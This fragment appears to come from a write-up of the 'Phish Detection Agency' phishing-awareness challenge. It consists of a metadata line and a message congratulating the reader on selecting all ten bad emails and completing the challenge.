{"hash":"fb719ebd276dcbd3cba16becdebb4971414ef03dee1a62210361fbde6aeb7b76","resourceId":"480191b7-7d7a-4464-90b5-9e0be0732004"}
After selecting all the 10 bad emails, we obtained the success mission:
Achievement
Congratulations! You have completed the Phish Detection Agency challenge!